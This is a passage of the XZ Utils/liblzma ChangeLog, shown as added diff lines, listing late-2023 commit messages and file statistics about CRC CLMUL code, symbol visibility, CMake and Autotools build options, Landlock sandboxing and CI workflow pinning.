comments to lz_encoder.h. + + src/liblzma/lz/lz_encoder.h | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +commit 5fe1450603dc625340b8b7866fb4a83ff748ad06 +Author: Jia Tan +Date: 2023-11-01 20:18:30 +0800 + + Add NEWS for 5.4.5. + + NEWS | 74 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 74 insertions(+) + +commit 46007049cd42e606543dbe650feb17bdf4469c29 +Author: Lasse Collin +Date: 2023-10-31 21:41:09 +0200 + + liblzma: Fix compilation of fastpos_tablegen.c. + + The macro lzma_attr_visibility_hidden has to be defined to make + fastpos.h usable. The visibility attribute is irrelevant to + fastpos_tablegen.c so simply #define the macro to an empty value. + + fastpos_tablegen.c is never built by the included build systems + and so the problem wasn't noticed earlier. It's just a standalone + program for generating fastpos_table.c. + + Fixes: https://github.com/tukaani-project/xz/pull/69 + Thanks to GitHub user Jamaika1. + + src/liblzma/lzma/fastpos_tablegen.c | 2 ++ + 1 file changed, 2 insertions(+) + +commit 148e20607e95781558bdfc823ecba07b7af4b590 +Author: Jia Tan +Date: 2023-10-31 21:51:40 +0800 + + Build: Fix text wrapping in an output message. + + configure.ac | 9 +++++---- + 1 file changed, 5 insertions(+), 4 deletions(-) + +commit 8c36ab79cbf23104ce7a3d533d5ac98cd492e57c +Author: Lasse Collin +Date: 2023-10-30 18:09:53 +0200 + + liblzma: Add a note why crc_always_inline exists for now. + + Solaris Studio is a possible example (not tested) which + supports the always_inline attribute but might not get + detected by the common.h #ifdefs. + + src/liblzma/check/crc_common.h | 5 +++++ + 1 file changed, 5 insertions(+) + +commit e7a86b94cd247435ac96bc79ba528b690b9ca388 +Author: Lasse Collin +Date: 2023-10-22 17:59:11 +0300 + + liblzma: Use lzma_always_inline in memcmplen.h. + + src/liblzma/common/memcmplen.h | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +commit dcfe5632992fb7f06f921da13fcdd84f83d0d285 +Author: Lasse Collin +Date: 2023-10-30 17:43:03 +0200 + + liblzma: #define lzma_always_inline in common.h. + + src/liblzma/common/common.h | 17 +++++++++++++++++ + 1 file changed, 17 insertions(+) + +commit 41113fe30a47f6fd3e30cb4494dd538e86212edf +Author: Lasse Collin +Date: 2023-10-22 17:15:32 +0300 + + liblzma: Use lzma_attr_visibility_hidden on private extern declarations. + + These variables are internal to liblzma and not exposed in the API. + + src/liblzma/check/check.h | 7 +++++++ + src/liblzma/common/stream_flags_common.h | 3 +++ + src/liblzma/lz/lz_encoder_hash.h | 1 + + src/liblzma/lzma/fastpos.h | 1 + + src/liblzma/rangecoder/price.h | 1 + + 5 files changed, 13 insertions(+) + +commit a2f5ca706acc6f7715b8d260a8c6ed50d7717478 +Author: Lasse Collin +Date: 2023-10-22 17:08:39 +0300 + + liblzma: #define lzma_attr_visibility_hidden in common.h. + + In ELF shared libs: + + -fvisibility=hidden affects definitions of symbols but not + declarations.[*] This doesn't affect direct calls to functions + inside liblzma as a linker can replace a call to lzma_foo@plt + with a call directly to lzma_foo when -fvisibility=hidden is used. + + [*] It has to be like this because otherwise every installed + header file would need to explictly set the symbol visibility + to default. + + When accessing extern variables that aren't defined in the + same translation unit, compiler assumes that the variable has + the default visibility and thus indirection is needed. Unlike + function calls, linker cannot optimize this. + + Using __attribute__((__visibility__("hidden"))) with the extern + variable declarations tells the compiler that indirection isn't + needed because the definition is in the same shared library. + + About 15+ years ago, someone told me that it would be good if + the CRC tables would be defined in the same translation unit + as the C code of the CRC functions. While I understood that it + could help a tiny amount, I didn't want to change the code because + a separate translation unit for the CRC tables was needed for the + x86 assembly code anyway. But when visibility attributes are + supported, simply marking the extern declaration with the + hidden attribute will get identical result. When there are only + a few affected variables, this is trivial to do. I wish I had + understood this back then already. + + src/liblzma/common/common.h | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +commit 2c7ee92e44e1e66f0a427555233eb22c78f6c4f8 +Author: Lasse Collin +Date: 2023-09-30 22:54:28 +0300 + + liblzma: Refer to MinGW-w64 instead of MinGW in the API headers. + + MinGW (formely a MinGW.org Project, later the MinGW.OSDN Project + at ) has GCC 9.2.0 as the + most recent GCC package (released 2021-02-02). The project might + still be alive but majority of people have switched to MinGW-w64. + Thus it seems clearer to refer to MinGW-w64 in our API headers too. + Building with MinGW is likely to still work but I haven't tested it + in the recent years. + + src/liblzma/api/lzma.h | 4 ++-- + src/liblzma/api/lzma/version.h | 2 +- + 2 files changed, 3 insertions(+), 3 deletions(-) + +commit 597f49b61475438a43a417236989b2acc968a686 +Author: Lasse Collin +Date: 2023-09-27 00:58:17 +0300 + + CMake: Use -D_FILE_OFFSET_BITS=64 if (and only if) needed. + + A CMake option LARGE_FILE_SUPPORT is created if and only if + -D_FILE_OFFSET_BITS=64 affects sizeof(off_t). + + This is needed on many 32-bit platforms and even with 64-bit builds + with MinGW-w64 to get support for files larger than 2 GiB. + + CMakeLists.txt | 7 ++++- + cmake/tuklib_large_file_support.cmake | 52 +++++++++++++++++++++++++++++++++++ + 2 files changed, 58 insertions(+), 1 deletion(-) + +commit 1bc548b8210366e44ba35b0b11577a8e328c1228 +Author: Lasse Collin +Date: 2023-09-30 02:14:25 +0300 + + CMake: Generate and install liblzma.pc if not using MSVC. + + Autotools based build uses -pthread and thus adds it to Libs.private + in liblzma.pc. CMake doesn't use -pthread at all if pthread functions + are available in libc so Libs.private doesn't get -pthread either. + + CMakeLists.txt | 21 +++++++++++++++++++++ + 1 file changed, 21 insertions(+) + +commit 2add71966f891d315105d6245f724ed4f43a4eff +Author: Lasse Collin +Date: 2023-09-30 01:13:13 +0300 + + CMake: Rearrange the PACKAGE_ variables. + + The windres workaround now replaces spaces with \x20 so + the package name isn't repeated. + + These changes will help with creation of liblzma.pc. + + CMakeLists.txt | 26 +++++++++++++++----------- + 1 file changed, 15 insertions(+), 11 deletions(-) + +commit a7d1b2825c49dc83f1910eeb8ba0f1dfbd886d91 +Author: Lasse Collin +Date: 2023-09-29 20:46:11 +0300 + + liblzma: Add Cflags.private to liblzma.pc.in for MSYS2. + + It properly adds -DLZMA_API_STATIC when compiling code that + will be linked against static liblzma. Having it there on + systems other than Windows does no harm. + + See: https://www.msys2.org/docs/pkgconfig/ + + src/liblzma/liblzma.pc.in | 1 + + 1 file changed, 1 insertion(+) + +commit 80e0750e3996c1c659e972ce9cf789ca2e99f702 +Author: Lasse Collin +Date: 2023-09-27 22:46:20 +0300 + + CMake: Create liblzma.def when building liblzma.dll with MinGW-w64. + + CMakeLists.txt | 20 ++++++++++++++++++++ + cmake/remove-ordinals.cmake | 26 ++++++++++++++++++++++++++ + 2 files changed, 46 insertions(+) + +commit 08d12595f486890cf601b87f36ee0ddbce57728e +Author: Lasse Collin +Date: 2023-10-26 21:44:42 +0300 + + CMake: Change one CMAKE_CURRENT_SOURCE_DIR to CMAKE_CURRENT_LIST_DIR. + + In this case they have identical values. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit e67aaf698de75c73443a5ec786781cbf2034461d +Author: Lasse Collin +Date: 2023-10-01 19:10:57 +0300 + + CMake/Windows: Fix the import library filename. + + Both PREFIX and IMPORT_PERFIX have to be set to "" to get + liblzma.dll and liblzma.dll.a. + + CMakeLists.txt | 1 + + 1 file changed, 1 insertion(+) + +commit 88588b1246d8c26ffbc138b3e5c413c5f14c3179 +Author: Lasse Collin +Date: 2023-10-25 19:13:25 +0300 + + Build: Detect -fsanitize= in CFLAGS and incompatible build options. + + Now configure will fail if -fsanitize= is found in CFLAGS + and sanitizer-incompatible ifunc or Landlock sandboxing + would be used. These are incompatible with one or more sanitizers. + It's simpler to reject all -fsanitize= uses instead of trying to + pass those that might not cause problems. + + CMake-based build was updated similarly. It lets the configuration + finish (SEND_ERROR instead of FATAL_ERROR) so that both error + messages can be seen at once. + + CMakeLists.txt | 29 +++++++++++++++++++++++++++++ + configure.ac | 37 +++++++++++++++++++++++++++++++++---- + 2 files changed, 62 insertions(+), 4 deletions(-) + +commit 5e3d890f8862a7d4fbef5e38e11b6c9fbd98f468 +Author: Jia Tan +Date: 2023-10-24 00:50:08 +0800 + + CI: Disable sandboxing in fsanitize=address,undefined job. + + The sandboxing on Linux now supports Landlock, which restricts all + supported filesystem actions after xz opens the files it needs. The + sandbox is only enabled when one file is input and we are writing to + standard out. With fsanitize=address,undefined, the instrumentation + needs to read additional files after the sandbox is in place. This + forces all xz based test to fail, so the sandbox must instead be + disabled. + + .github/workflows/ci.yml | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit b1408987ea832e2760e478ae960a636df17a1363 +Author: Jia Tan +Date: 2023-10-24 00:15:39 +0800 + + CI: Allow disabling the sandbox in ci_build.sh. + + build-aux/ci_build.sh | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +commit 91c435cf1c7a1e893706d4d716dfd361621ed824 +Author: Lasse Collin +Date: 2023-10-11 19:47:44 +0300 + + CMake: Don't shadow the cache entry ENABLE_THREADS with a normal variable. + + Using set(ENABLE_THREADS "posix") is confusing because it sets + a new normal variable and leaves the cache entry with the same + name unchanged. The intent wasn't to change the cache entry so + this switches to a different variable name. + + CMakeLists.txt | 10 +++++++--- + 1 file changed, 7 insertions(+), 3 deletions(-) + +commit fa1609eb9393ecd30decfed4891c907829f06710 +Author: Lasse Collin +Date: 2023-10-09 22:28:49 +0300 + + Docs: Update INSTALL about sandboxing support. + + INSTALL | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +commit 8276c7f41c671eee4aa3239490658b23dcfd3021 +Author: Lasse Collin +Date: 2023-10-09 22:07:52 +0300 + + xz: Support basic sandboxing with Linux Landlock (ABI versions 1-3). + + It is enabled only when decompressing one file to stdout, + similar to how Capsicum is used. + + Landlock was added in Linux 5.13. + + CMakeLists.txt | 12 +++++++++++- + configure.ac | 11 ++++++++--- + src/xz/file_io.c | 58 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + src/xz/main.c | 19 +++++++++++++++++++ + src/xz/private.h | 3 ++- + 5 files changed, 98 insertions(+), 5 deletions(-) + +commit 3a1e9fd031b9320d769d63b503ef4e82e1b6ea8c +Author: Lasse Collin +Date: 2023-10-09 21:12:31 +0300 + + CMake: Edit threading related messages. + + It's mostly to change from "thread method" to "threading method". + + CMakeLists.txt | 19 ++++++++++--------- + 1 file changed, 10 insertions(+), 9 deletions(-) + +commit bf011352528ae3539ea7b780b45b96736ee57a99 +Author: Lasse Collin +Date: 2023-10-09 20:59:24 +0300 + + CMake: Use FATAL_ERROR if user-supplied options aren't understood. + + This way typos are caught quickly and compounding error messages + are avoided (a single typo could cause more than one error). + + This keeps using SEND_ERROR when the system is lacking a feature + (like threading library or sandboxing method). This way the whole + configuration log will be generated in case someone wishes to + report a problem upstream. + + CMakeLists.txt | 28 ++++++++++++++-------------- + 1 file changed, 14 insertions(+), 14 deletions(-) + +commit 3f53870c249945d657ca3d75e0993e6267d71f75 +Author: Lasse Collin +Date: 2023-10-09 18:37:32 +0300 + + CMake: Add sandboxing support. + + CMakeLists.txt | 50 +++++++++++++++++++++++++++++++++++++++++++++++++- + 1 file changed, 49 insertions(+), 1 deletion(-) + +commit 2e2cd11535ad77364cf021297e0b3f162fa3a3d0 +Author: Lasse Collin +Date: 2023-10-09 18:13:08 +0300 + + Simplify detection of Capsicum support. + + This removes support for FreeBSD 10.0 and 10.1 which used + instead of . Support for + FreeBSD 10.1 ended on 2016-12-31. So now FreeBSD >= 10.2 is + required to enable Capsicum support. + + This also removes support for Capsicum on Linux (libcaprights) + which seems to have been unmaintained since 2017 and Linux 4.11: + https://github.com/google/capsicum-linux + + configure.ac | 4 +-- + m4/ax_check_capsicum.m4 | 85 ------------------------------------------------- + src/xz/Makefile.am | 2 +- + src/xz/file_io.c | 14 +++----- + src/xz/private.h | 2 +- + 5 files changed, 9 insertions(+), 98 deletions(-) + +commit c57858b60e186d020b2dbaf7aabd9b32c71da824 +Author: Lasse Collin +Date: 2023-09-25 01:46:36 +0300 + + xz/Windows: Allow clock_gettime with POSIX threads. + + If winpthreads are used for threading, it's OK to use clock_gettime() + from winpthreads too. + + src/xz/mytime.c | 9 ++++++--- + 1 file changed, 6 insertions(+), 3 deletions(-) + +commit dd32f628bb5541ef4e8ce66966ef456a1934084c +Author: Lasse Collin +Date: 2023-09-25 01:39:26 +0300 + + mythread.h: Make MYTHREAD_POSIX compatible with MinGW-w64's winpthreads. + + This might be almost useless but it doesn't need much extra code either. + + src/common/mythread.h | 23 ++++++++++++++++++++++- + 1 file changed, 22 insertions(+), 1 deletion(-) + +commit 680e52cdd086e92691d8a0bca2c98815565f60ca +Author: Lasse Collin +Date: 2023-09-23 03:06:36 +0300 + + CMake: Check for clock_gettime() even on Windows. + + This mirrors configure.ac although currently MinGW-w64 builds + don't use clock_gettime() even if it is found. + + CMakeLists.txt | 44 +++++++++++++++++++++----------------------- + 1 file changed, 21 insertions(+), 23 deletions(-) + +commit 1c1a8c3ee4dad0064dbe63b8dbc4ac4bc679f419 +Author: Lasse Collin +Date: 2023-09-23 03:23:32 +0300 + + Build: Check for clock_gettime() even if not using POSIX threads. + + See the new comment in the code. + + This also makes the check for clock_gettime() run with MinGW-w64 + with which we don't want to use clock_gettime(). The previous + commit already took care of this situation. + + configure.ac | 31 ++++++++++++++++++------------- + 1 file changed, 18 insertions(+), 13 deletions(-) + +commit 46fd991cd2808ef62554853864c946232e7547f0 +Author: Lasse Collin +Date: 2023-09-24 22:58:53 +0300 + + xz/Windows: Ensure that clock_gettime() isn't used with MinGW-w64. + + This commit alone doesn't change anything in the real-world: + + - configure.ac currently checks for clock_gettime() only + when using pthreads. + + - CMakeLists.txt doesn't check for clock_gettime() on Windows. + + So clock_gettime() wasn't used with MinGW-w64 before either. + + clock_gettime() provides monotonic time and it's better than + gettimeofday() in this sense. But clock_gettime() is defined + in winpthreads, and liblzma or xz needs nothing else from + winpthreads. By avoiding clock_gettime(), we avoid the dependency on + libwinpthread-1.dll or the need to link against the static version. + + As a bonus, GetTickCount64() and MinGW-w64's gettimeofday() can be + faster than clock_gettime(CLOCK_MONOTONIC, &tv). The resolution + is more than good enough for the progress indicator in xz. + + src/xz/mytime.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +commit cdb4d91f2464b50c985ef7b9517314ea237ddda7 +Author: Lasse Collin +Date: 2023-09-24 00:21:22 +0300 + + xz/Windows: Use GetTickCount64() with MinGW-w64 if using Vista threads. + + src/xz/mytime.c | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +commit 988e09f27b9b04a43d45d10f92782e0092ee27a9 +Author: Jia Tan +Date: 2023-10-20 19:17:46 +0800 + + liblzma: Move is_clmul_supported() back to crc_common.h. + + This partially reverts creating crc_clmul.c + (8c0f9376f58c0696d5d6719705164d35542dd891) where is_clmul_supported() + was moved, extern'ed, and renamed to lzma_is_clmul_supported(). This + caused a problem when the function call to lzma_is_clmul_supported() + results in a call through the PLT. ifunc resolvers run very early in + the dynamic loading sequence, so the PLT may not be setup properly at + this point. Whether the PLT is used or not for + lzma_is_clmul_supported() depened upon the compiler-toolchain used and + flags. + + In liblzma compiled with GCC, for instance, GCC will go through the PLT + for function calls internal to liblzma if the version scripts and + symbol visibility hiding are not used. If lazy-binding is disabled, + then it would have made any program linked with liblzma fail during + dynamic loading in the ifunc resolver. + + src/liblzma/check/crc32_fast.c | 2 +- + src/liblzma/check/crc64_fast.c | 2 +- + src/liblzma/check/crc_clmul.c | 45 ------------------------------------ + src/liblzma/check/crc_common.h | 52 +++++++++++++++++++++++++++++++++++++++--- + 4 files changed, 51 insertions(+), 50 deletions(-) + +commit 105c7ca90d4152942e0798580a37f736d02faa22 +Author: Jia Tan +Date: 2023-10-19 16:23:32 +0800 + + Build: Remove check for COND_CHECK_CRC32 in check/Makefile.inc. + + Currently crc32 is always enabled, so COND_CHECK_CRC32 must always be + set. Because of this, it makes the recent change to conditionally + compile check/crc_clmul.c appear wrong since that file has CLMUL + implementations for both CRC32 and CRC64. + + src/liblzma/check/Makefile.inc | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 139757170468f0f1fafdf0a8ffa74363d1ea1d0c +Author: Jia Tan +Date: 2023-10-19 16:09:01 +0800 + + CMake: Add ALLOW_CLMUL_CRC option to enable/disable CLMUL. + + The option is enabled by default, but will only be visible to a user + listing cache variables or using a CMake GUI application if the + immintrin.h header file is found. + + This mirrors our Autotools build --disable-clmul-crc functionality. + + CMakeLists.txt | 44 +++++++++++++++++++++++++------------------- + 1 file changed, 25 insertions(+), 19 deletions(-) + +commit c60b25569d414bb73b705977a4dd342f8f9f1965 +Author: Jia Tan +Date: 2023-10-19 00:22:50 +0800 + + liblzma: Fix -fsanitize=address failure with crc_clmul functions. + + After forcing crc_simd_body() to always be inlined it caused + -fsanitize=address to fail for lzma_crc32_clmul() and + lzma_crc64_clmul(). The __no_sanitize_address__ attribute was added + to lzma_crc32_clmul() and lzma_crc64_clmul(), but not removed from + crc_simd_body(). ASAN and inline functions behavior has changed over + the years for GCC specifically, so while strictly required we will + keep __attribute__((__no_sanitize_address__)) on crc_simd_body() in + case this becomes a requirement in the future. + + Older GCC versions refuse to inline a function with ASAN if the + caller and callee do not agree on sanitization flags + (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=89124#c3). If the + function was forced to be inlined, it will not compile if the callee + function has __no_sanitize_address__ but the caller doesn't. + + src/liblzma/check/crc_clmul.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +commit 9a78971261bc67622cbd7dae02f6966968ac1393 +Author: Lasse Collin +Date: 2023-10-14 20:16:13 +0300 + + tuklib_integer: Update the CMake test for fast unaligned access. + + cmake/tuklib_integer.cmake | 69 ++++++++++++++++++++++++++++++++++++---------- + 1 file changed, 54 insertions(+), 15 deletions(-) + +commit 2f81ac852bc5aafc91c8e2adc66b5114761703c4 +Author: Lasse Collin +Date: 2023-09-23 23:28:48 +0300 + + Build: Enabled unaligned access by default on PowerPC64LE and some RISC-V. + + PowerPC64LE wasn't tested but it seems like a safe change. + POWER8 supports unaligned access in little endian mode. Testing + on godbolt.org shows that GCC uses unaligned access by default. + + The RISC-V macro __riscv_misaligned_fast is very new and not + in any stable compiler release yet. + + Documentation in INSTALL was updated to match. + + Documentation about an autodetection bug when using ARM64 GCC + with -mstrict-align was added to INSTALL. + + CMake files weren't updated yet. + + INSTALL | 39 +++++++++++++++++++++++++++++++++++++-- + m4/tuklib_integer.m4 | 34 +++++++++++++++++++++++++++------- + 2 files changed, 64 insertions(+), 9 deletions(-) + +commit c8f715f1bca4c30db814fcf1fd2fe88b8992ede2 +Author: Lasse Collin +Date: 2023-10-14 17:56:59 +0300 + + tuklib_integer: Revise unaligned reads and writes on strict-align archs. + + In XZ Utils context this doesn't matter much because + unaligned reads and writes aren't used in hot code + when TUKLIB_FAST_UNALIGNED_ACCESS isn't #defined. + + src/common/tuklib_integer.h | 256 ++++++++++++++++++++++++++++++++------------ + 1 file changed, 189 insertions(+), 67 deletions(-) + +commit 6828242735cbf61b93d140383336e1e51a006f2d +Author: Lasse Collin +Date: 2023-09-23 02:21:49 +0300 + + tuklib_integer: Add missing write64be and write64le fallback functions. + + src/common/tuklib_integer.h | 34 ++++++++++++++++++++++++++++++++++ + 1 file changed, 34 insertions(+) + +commit 1c8884f0af28b3a4690bb573cdf3240a8ec73416 +Author: Jia Tan +Date: 2023-10-18 19:57:10 +0800 + + liblzma: Set the MSVC optimization fix to only cover lzma_crc64_clmul(). + + After testing a 32-bit Release build on MSVC, only lzma_crc64_clmul() + has the bug. crc_simd_body() and lzma_crc32_clmul() do not need the + optimizations disabled. + + src/liblzma/check/crc_clmul.c | 30 +++++++++++++++--------------- + 1 file changed, 15 insertions(+), 15 deletions(-) + +commit 5ce0f7a48bdf5c3b45430850a4487307afac6143 +Author: Lasse Collin +Date: 2023-10-18 14:30:00 +0300 + + liblzma: CRC_USE_GENERIC_FOR_SMALL_INPUTS cannot be used with ifunc. + + src/liblzma/check/crc_common.h | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +commit 27735380491bb5ce0d0f41d5244d89c1d0825f6b +Author: Lasse Collin +Date: 2023-10-17 21:53:11 +0300 + + liblzma: Include common.h in crc_common.h. + + crc_common.h depends on common.h. The headers include common.h except + when there is a reason to not do so. + + src/liblzma/check/crc_clmul.c | 1 - + src/liblzma/check/crc_common.h | 3 +++ + 2 files changed, 3 insertions(+), 1 deletion(-) + +commit e13b7947b92355c334edd594295d3a2c99c4bca1 +Author: Jia Tan +Date: 2023-10-18 01:23:26 +0800 + + liblzma: Add include guards to crc_common.h. + + src/liblzma/check/crc_common.h | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 40abd88afcc61a8157fcd12d78d491caeb8e12be +Author: Jia Tan +Date: 2023-10-18 22:50:25 +0800 + + liblzma: Add the crc_always_inline macro to crc_simd_body(). + + Forcing this to be inline has a significant speed improvement at the + cost of a few repeated instructions. The compilers tested on did not + inline this function since it is large and is used twice in the same + translation unit. + + src/liblzma/check/crc_clmul.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit a5966c276bd6fa975f0389f8a8dc61393de750b0 +Author: Jia Tan +Date: 2023-10-18 22:48:19 +0800 + + liblzma: Create crc_always_inline macro. + + This macro must be used instead of the inline keyword. On MSVC, it is + a replacement for __forceinline which is an MSVC specific keyword that + should not be used with inline (it will issue a warning if it is). + + It does not use a build system check to determine if + __attribute__((__always_inline__)) since all compilers that can use + CLMUL extensions (except the special case for MSVC) should support this + attribute. If this assumption is incorrect then it will result in a bug + report instead of silently producing slow code. + + src/liblzma/check/crc_common.h | 15 +++++++++++++++ + 1 file changed, 15 insertions(+) + +commit 96b663f67c0e738a99ba8f35d9f4ced9add74544 +Author: Jia Tan +Date: 2023-10-14 13:23:23 +0800 + + liblzma: Refactor CRC comments. + + A detailed description of the three dispatch methods was added. Also, + duplicated comments now only appear in crc32_fast.c or were removed from + both crc32_fast.c and crc64_fast.c if they appeared in crc_clmul.c. + + src/liblzma/check/crc32_fast.c | 64 +++++++++++++++++++++++++++++------------- + src/liblzma/check/crc64_fast.c | 61 ++++++---------------------------------- + 2 files changed, 53 insertions(+), 72 deletions(-) + +commit 8c0f9376f58c0696d5d6719705164d35542dd891 +Author: Jia Tan +Date: 2023-10-14 12:17:57 +0800 + + liblzma: Create crc_clmul.c. + + Both crc32_clmul() and crc64_clmul() are now exported from + crc32_clmul.c as lzma_crc32_clmul() and lzma_crc64_clmul(). This + ensures that is_clmul_supported() (now lzma_is_clmul_supported()) is + not duplicated between crc32_fast.c and crc64_fast.c. + + Also, it encapsulates the complexity of the CLMUL implementations into a + single file and reduces the complexity of crc32_fast.c and crc64_fast.c. + Before, CLMUL code was present in crc32_fast.c, crc64_fast.c, and + crc_common.h. + + During the conversion, various cleanups were applied to code (thanks to + Lasse Collin) including: + + - Require using semicolons with MASK_/L/H/LH macros. + - Variable typing and const handling improvements. + - Improvements to comments. + - Fixes to the pragmas used. + - Removed unneeded variables. + - Whitespace improvements. + - Fixed CRC_USE_GENERIC_FOR_SMALL_INPUTS handling. + - Silenced warnings and removed the need for some #pragmas + + CMakeLists.txt | 6 +- + configure.ac | 6 +- + src/liblzma/check/Makefile.inc | 3 + + src/liblzma/check/crc32_fast.c | 120 +----------- + src/liblzma/check/crc64_fast.c | 128 +------------ + src/liblzma/check/crc_clmul.c | 414 +++++++++++++++++++++++++++++++++++++++++ + src/liblzma/check/crc_common.h | 190 +------------------ + 7 files changed, 444 insertions(+), 423 deletions(-) + +commit a3ebc2c516b09616638060806c841bd4bcf7bce3 +Author: Jia Tan +Date: 2023-10-14 10:23:03 +0800 + + liblzma: Define CRC_USE_IFUNC in crc_common.h. + + When ifunc is supported, we can define a simpler macro instead of + repeating the more complex check in both crc32_fast.c and crc64_fast.c. + + src/liblzma/check/crc32_fast.c | 3 +-- + src/liblzma/check/crc64_fast.c | 3 +-- + src/liblzma/check/crc_common.h | 5 +++++ + 3 files changed, 7 insertions(+), 4 deletions(-) + +commit f1cd9d7194f005cd66ec03c6635ceae75f90ef17 +Author: Hans Jansen +Date: 2023-10-12 19:37:01 +0200 + + liblzma: Added crc32_clmul to crc32_fast.c. + + src/liblzma/check/crc32_fast.c | 247 ++++++++++++++++++++++++++++++++++++++-- + src/liblzma/check/crc32_table.c | 19 +++- + 2 files changed, 255 insertions(+), 11 deletions(-) + +commit 93e6fb08b22c7c13be2dd1e7274fe78413436254 +Author: Hans Jansen +Date: 2023-10-12 19:23:40 +0200 + + liblzma: Moved CLMUL CRC logic to crc_common.h. + + crc64_fast.c was updated to use the code from crc_common.h instead. + + src/liblzma/check/crc64_fast.c | 257 ++--------------------------------------- + src/liblzma/check/crc_common.h | 230 +++++++++++++++++++++++++++++++++++- + 2 files changed, 240 insertions(+), 247 deletions(-) + +commit 233885a437f8b55a5c8442984ebc0aaa579e92de +Author: Hans Jansen +Date: 2023-10-12 19:07:50 +0200 + + liblzma: Rename crc_macros.h to crc_common.h. + + CMakeLists.txt | 2 +- + src/liblzma/check/Makefile.inc | 2 +- + src/liblzma/check/crc32_fast.c | 2 +- + src/liblzma/check/crc64_fast.c | 2 +- + src/liblzma/check/{crc_macros.h => crc_common.h} | 2 +- + 5 files changed, 5 insertions(+), 5 deletions(-) + +commit 37947d4a7565b87e4cec8b89229d35b0a3f8d2cd +Author: Gabriela Gutierrez +Date: 2023-09-26 15:55:13 +0000 + + CI: Bump and ref actions by commit SHA in windows-ci.yml + + Referencing actions by commit SHA in GitHub workflows guarantees you are using an immutable version. Actions referenced by tags and branches are more vulnerable to attacks, such as the tag being moved to a malicious commit or a malicious commit being pushed to the branch. + + It's important to make sure the SHA's are from the original repositories and not forks. + + For reference: + + https://github.com/msys2/setup-msys2/releases/tag/v2.20.1 + https://github.com/msys2/setup-msys2/commit/27b3aa77f672cb6b3054121cfd80c3d22ceebb1d + + https://github.com/actions/checkout/releases/tag/v4.1.0 + https://github.com/actions/checkout/commit/8ade135a41bc03ea155e62e844d188df1ea18608 + + https://github.com/actions/upload-artifact/releases/tag/v3.1.3 + https://github.com/actions/upload-artifact/commit/a8a3f3ad30e3422c9c7b888a15615d19a852ae32 + + Signed-off-by: Gabriela Gutierrez + + .github/workflows/windows-ci.yml | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit f28cc9bd481ce493da11f98c18526d324211599a +Author: Gabriela Gutierrez +Date: 2023-09-26 14:35:08 +0000 + + CI: Bump and ref actions by commit SHA in ci.yml + + Referencing actions by commit SHA in GitHub workflows guarantees you are using an immutable version. Actions referenced by tags and branches are more vulnerable to attacks, such as the tag being moved to a malicious commit or a malicious commit being pushed to the branch. + + It's important to make sure the SHA's are from the original repositories and not forks. + + For reference: + + https://github.com/actions/checkout/releases/tag/v4.1.0 + https://github.com/actions/checkout/commit/8ade135a41bc03ea155e62e844d188df1ea18608 + + https://github.com/actions/upload-artifact/releases/tag/v3.1.3 + https://github.com/actions/upload-artifact/commit/a8a3f3ad30e3422c9c7b888a15615d19a852ae32 + + Signed-off-by: Gabriela Gutierrez + + .github/workflows/ci.yml | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit f74f1740067b75042497edbfa6ea457ff75484b9 +Author: Jia Tan +Date: 2023-10-12 20:12:18 +0800 + + Build: Update visibility.m4 from Gnulib. + + Updating from version 6 -> 8 from upstream. Declarations for variables + and function bodies were added to avoid unnecessary failures with + -Werror. + + m4/visibility.m4 | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +commit 5c4bca521e6fb435898a0012b3276eee70a6dadf +Author: Lasse Collin +Date: 2023-10-06 19:36:35 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit d91cb6e884c73d0b05d7e7d68ad4e6eb29f4b44b +Author: Lasse Collin +Date: 2023-10-06 18:55:57 +0300 + + CMake/Windows: Fix when the windres workaround is applied. + + CMake doesn't set WIN32 on CYGWIN but the workaround is + probably needed on Cygwin too. Same for MSYS and MSYS2. + + The workaround must not be used with Clang that is acting in + MSVC mode. This fixes it by checking for the known environments + that need the workaround instead of using "NOT MSVC". + + Thanks to Martin Storsjö. + https://github.com/tukaani-project/xz/commit/0570308ddd9c0e39e85597ebc0e31d4fc81d436f#commitcomment-129098431 + + CMakeLists.txt | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 01e34aa1171b04f8b28960b1cc6135a903e0c13d +Author: Jia Tan +Date: 2023-09-29 22:11:54 +0800 + + CI: Disable CLANG64 MSYS2 environment until bug is resolved. + + lld 17.0.1 searches for libraries to link first in the toolchain + directories before the local directory when building. The is a problem + for us because liblzma.a is installed in MSYS2 CLANG64 by default and + xz.exe will thus use the installed library instead of the one being + built. + + This causes tests to fail when they are expecting features to be + disabled. More importantly, it will compile xz.exe with an incorrect + liblzma and could cause unexpected behavior by being unable to update + liblzma code in static builds. The CLANG64 environment can be tested + again once this is fixed. + + Link to bug: https://github.com/llvm/llvm-project/issues/67779. + + .github/workflows/windows-ci.yml | 8 +++++--- + 1 file changed, 5 insertions(+), 3 deletions(-) + +commit 30d0c35327f3639cb11224872aa58fdbf0b1526e +Author: Jia Tan +Date: 2023-09-29 20:14:39 +0800 + + CMake: Rename xz and man page symlink custom targets. + + The Ninja Generator for CMake cannot have a custom target and its + BYPRODUCTS have the same name. This has prevented Ninja builds on + Unix-like systems since the xz symlinks were introduced in + 80a1a8bb838842a2be343bd88ad1462c21c5e2c9. + + CMakeLists.txt | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 